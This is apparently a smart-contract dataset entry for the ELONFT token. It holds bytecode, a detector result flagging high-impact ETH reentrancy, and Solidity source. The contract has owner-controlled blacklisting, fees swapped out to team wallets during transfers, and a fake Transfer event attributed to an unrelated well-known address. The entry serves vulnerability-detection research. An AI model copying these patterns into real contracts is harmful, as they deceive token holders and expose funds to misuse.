5b610a24565b34801561057b57600080fd5b506101f161058a366004611959565b610a53565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016105b990611c30565b60405180910390fd5b60005b8151811015610638576001601060008484815181106105f457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063081611d43565b9150506105c5565b5050565b6000610649338484610b3d565b5060015b92915050565b6000610660848484610c61565b6106b284336106ad85604051806060016040528060288152602001611da0602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119d565b610b3d565b5060019392505050565b6000546001600160a01b031633146106e65760405162461bcd60e51b81526004016105b990611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107315760405162461bcd60e51b81526004016105b990611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078457506013546001600160a01b0316336001600160a01b0316145b61078d57600080fd5b47610797816111d7565b50565b6001600160a01b03811660009081526002602052604081205461064d9061125c565b6000546001600160a01b031633146107e65760405162461bcd60e51b81526004016105b990611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085a5760405162461bcd60e51b81526004016105b990611c30565b601655565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105b990611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105b990611c30565b601855565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105b990611c30565b600893909355600a91909155600955600b55565b6000610649338484610c61565b6012546001600160a01b0316336001600160a01b0316148061095657506013546001600160a01b0316336001600160a01b0316145b61095f57600080fd5b600061096a3061079a565b9050610797816112e0565b6000546001600160a01b0316331461099f5760405162461bcd60e51b81526004016105b990611c30565b60005b82811015610a1e5781600560008686858181106109cf57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e49190611959565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1681611d43565b9150506109a2565b50505050565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b81526004016105b990611c30565b601755565b6000546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016105b990611c30565b6001600160a01b038116610ae25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b9565b6001600160a01b038216610c005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b9565b6001600160a01b038216610d275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b9565b60008111610d895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b9565b6000546001600160a01b03848116911614801590610db557506000546001600160a01b03838116911614155b1561109657601554600160a01b900460ff16610e4e576000546001600160a01b03848116911614610e4e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b9565b601654811115610ea05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b9565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee257506001600160a01b03821660009081526010602052604090205460ff16155b610f3a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b9565b6015546001600160a01b03838116911614610fbf5760175481610f5c8461079a565b610f669190611cd5565b10610fbf5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b9565b6000610fca3061079a565b601854601654919250821015908210610fe35760165491505b808015610ffa5750601554600160a81b900460ff16155b801561101457506015546001600160a01b03868116911614155b80156110295750601554600160b01b900460ff165b801561104e57506001600160a01b03851660009081526005602052604090205460ff16155b801561107357506001600160a01b03841660009081526005602052604090205460ff16155b1561109357611081826112e0565b47801561109157611091476111d7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110d857506001600160a01b03831660009081526005602052604090205460ff165b8061110a57506015546001600160a01b0385811691161480159061110a57506015546001600160a01b03848116911614155b1561111757506000611191565b6015546001600160a01b03858116911614801561114257506014546001600160a01b03848116911614155b1561115457600854600c55600954600d555b6015546001600160a01b03848116911614801561117f57506014546001600160a01b03858116911614155b1561119157600a54600c55600b54600d555b610a1e84848484611485565b600081848411156111c15760405162461bcd60e51b81526004016105b99190611bdd565b5060006111ce8486611d2c565b95945050505050565b6012546001600160a01b03166108fc6111f18360026114b3565b6040518115909202916000818181858888f19350505050158015611219573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112348360026114b3565b6040518115909202916000818181858888f19350505050158015610638573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b9565b60006112cd6114f5565b90506112d983826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611975565b816001815181106113e357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114099130911684610b3d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611442908590600090869030904290600401611c65565b600060405180830381600087803b15801561145c57600080fd5b505af1158015611470573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149257611492611518565b61149d848484611546565b80610a1e57610a1e600e54600c55600f54600d55565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163d565b600080600061150261166b565b909250905061151182826114b3565b9250505090565b600c541580156115285750600d54155b1561152f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611558876116a9565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158a9087611706565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b99086611748565b6001600160a01b0389166000908152600260205260409020556115db816117a7565b6115e584836117f1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162a91815260200190565b60405180910390a3505050505050505050565b6000818361165e5760405162461bcd60e51b81526004016105b99190611bdd565b5060006111ce8486611ced565b6006546000908190662386f26fc1000061168582826114b3565b8210156116a057505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c68a600c54600d54611815565b92509250925060006116d66114f5565b905060008060006116e98e87878761186a565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119d565b6000806117558385611cd5565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b9565b60006117b16114f5565b905060006117bf83836118ba565b306000908152600260205260409020549091506117dc9082611748565b30600090815260026020526040902055505050565b6006546117fe9083611706565b60065560075461180e9082611748565b6007555050565b600080808061182f606461182989896118ba565b906114b3565b9050600061184260646118298a896118ba565b9050600061185a826118548b86611706565b90611706565b9992985090965090945050505050565b600080808061187988866118ba565b9050600061188788876118ba565b9050600061189588886118ba565b905060006118a7826118548686611706565b939b939a50919850919650505050505050565b6000826118c95750600061064d565b60006118d58385611d0d565b9050826118e28583611ced565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b9565b803561194481611d8a565b919050565b8035801515811461194457600080fd5b60006020828403121561196a578081fd5b81356112d981611d8a565b600060208284031215611986578081fd5b81516112d981611d8a565b600080604083850312156119a3578081fd5b82356119ae81611d8a565b915060208301356119be81611d8a565b809150509250929050565b6000806000606084860312156119dd578081fd5b83356119e881611d8a565b925060208401356119f881611d8a565b929592945050506040919091013590565b60008060408385031215611a1b578182fd5b8235611a2681611d8a565b946020939093013593505050565b600080600060408486031215611a48578283fd5b833567ffffffffffffffff80821115611a5f578485fd5b818601915086601f830112611a72578485fd5b813581811115611a80578586fd5b8760208260051b8501011115611a94578586fd5b602092830195509350611aaa9186019050611949565b90509250925092565b60006020808385031215611ac5578182fd5b823567ffffffffffffffff80821115611adc578384fd5b818501915085601f830112611aef578384fd5b813581811115611b0157611b01611d74565b8060051b604051601f19603f83011681018181108582111715611b2657611b26611d74565b604052828152858101935084860182860187018a1015611b44578788fd5b8795505b83861015611b6d57611b5981611939565b855260019590950194938601938601611b48565b5098975050505050505050565b600060208284031215611b8b578081fd5b6112d982611949565b600060208284031215611ba5578081fd5b5035919050565b60008060008060808587031215611bc1578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0957858101830151858201604001528201611bed565b81811115611c1a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb45784516001600160a01b031683529383019391830191600101611c8f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ce857611ce8611d5e565b500190565b600082611d0857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2757611d27611d5e565b500290565b600082821015611d3e57611d3e611d5e565b500390565b6000600019821415611d5757611d57611d5e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036d000b3592e4bb5f26eb35697638e1be9193506593c219e9bc85edc77b4b63f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,020 |
0x59f4ca0ce384c834656b82b7599cc550244ae25b
|
/**
*Submitted for verification at Etherscan.io on 2021-08-29
*/
/**
ELONFT
t.me/elonftw
Liquidity Locked
No Team Wallets or Tokens
Verified Contract
NFT's Minted 1hr after LAUNCH!
*/
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ELONFT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ELONFT";
string private constant _symbol = unicode'ELONFT';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102c0578063c3c8cd80146102e0578063c9567bf9146102f5578063d543dbeb1461030a578063dd62ed3e1461032a57600080fd5b8063715018a6146102635780638da5cb5b1461027857806395d89b4114610119578063a9059cbb146102a057600080fd5b8063273123b7116100dc578063273123b7146101d0578063313ce567146101f25780635932ead11461020e5780636fc3eaec1461022e57806370a082311461024357600080fd5b806306fdde0314610119578063095ea7b31461015757806318160ddd1461018757806323b872dd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526006815265115313d3919560d21b6020820152905161014e9190611962565b60405180910390f35b34801561016357600080fd5b506101776101723660046117f3565b610370565b604051901515815260200161014e565b34801561019357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014e565b3480156101bc57600080fd5b506101776101cb3660046117b3565b610387565b3480156101dc57600080fd5b506101f06101eb366004611743565b6103f0565b005b3480156101fe57600080fd5b506040516009815260200161014e565b34801561021a57600080fd5b506101f06102293660046118e5565b610444565b34801561023a57600080fd5b506101f061048c565b34801561024f57600080fd5b506101a261025e366004611743565b6104b9565b34801561026f57600080fd5b506101f06104db565b34801561028457600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102ac57600080fd5b506101776102bb3660046117f3565b61054f565b3480156102cc57600080fd5b506101f06102db36600461181e565b61055c565b3480156102ec57600080fd5b506101f0610600565b34801561030157600080fd5b506101f0610636565b34801561031657600080fd5b506101f061032536600461191d565b6109ff565b34801561033657600080fd5b506101a261034536600461177b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037d338484610ad5565b5060015b92915050565b6000610394848484610bf9565b6103e684336103e185604051806060016040528060288152602001611b33602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f93565b610ad5565b5060019392505050565b6000546001600160a01b031633146104235760405162461bcd60e51b815260040161041a906119b5565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461046e5760405162461bcd60e51b815260040161041a906119b5565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104ac57600080fd5b476104b681610fcd565b50565b6001600160a01b03811660009081526002602052604081205461038190611052565b6000546001600160a01b031633146105055760405162461bcd60e51b815260040161041a906119b5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037d338484610bf9565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161041a906119b5565b60005b81518110156105fc576001600660008484815181106105b857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f481611ac8565b915050610589565b5050565b600e546001600160a01b0316336001600160a01b03161461062057600080fd5b600061062b306104b9565b90506104b6816110d6565b6000546001600160a01b031633146106605760405162461bcd60e51b815260040161041a906119b5565b601154600160a01b900460ff16156106ba5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041a565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fa30826b033b2e3c9fd0803ce8000000610ad5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b919061175f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b357600080fd5b505afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb919061175f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083357600080fd5b505af1158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b919061175f565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061089b816104b9565b6000806108b06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094c9190611935565b5050601180546a52b7d2dcc80cd2e400000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c757600080fd5b505af11580156109db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fc9190611901565b6000546001600160a01b03163314610a295760405162461bcd60e51b815260040161041a906119b5565b60008111610a795760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161041a565b610a9a6064610a946b033b2e3c9fd0803ce80000008461127b565b906112fa565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041a565b6001600160a01b038216610b985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041a565b6001600160a01b038216610cbf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041a565b60008111610d215760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041a565b6005600a908155600b556000546001600160a01b03848116911614801590610d5757506000546001600160a01b03838116911614155b15610f36576001600160a01b03831660009081526006602052604090205460ff16158015610d9e57506001600160a01b03821660009081526006602052604090205460ff16155b610da757600080fd5b6011546001600160a01b038481169116148015610dd257506010546001600160a01b03838116911614155b8015610df757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e0c5750601154600160b81b900460ff165b15610e6957601254811115610e2057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e4457600080fd5b610e4f42601e611a5a565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610e9457506010546001600160a01b03848116911614155b8015610eb957506001600160a01b03831660009081526005602052604090205460ff16155b15610ec9576005600a908155600b555b6000610ed4306104b9565b601154909150600160a81b900460ff16158015610eff57506011546001600160a01b03858116911614155b8015610f145750601154600160b01b900460ff165b15610f3457610f22816110d6565b478015610f3257610f3247610fcd565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f7857506001600160a01b03831660009081526005602052604090205460ff165b15610f81575060005b610f8d8484848461133c565b50505050565b60008184841115610fb75760405162461bcd60e51b815260040161041a9190611962565b506000610fc48486611ab1565b95945050505050565b600e546001600160a01b03166108fc610fe78360026112fa565b6040518115909202916000818181858888f1935050505015801561100f573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61102a8360026112fa565b6040518115909202916000818181858888f193505050501580156105fc573d6000803e3d6000fd5b60006008548211156110b95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041a565b60006110c361136a565b90506110cf83826112fa565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830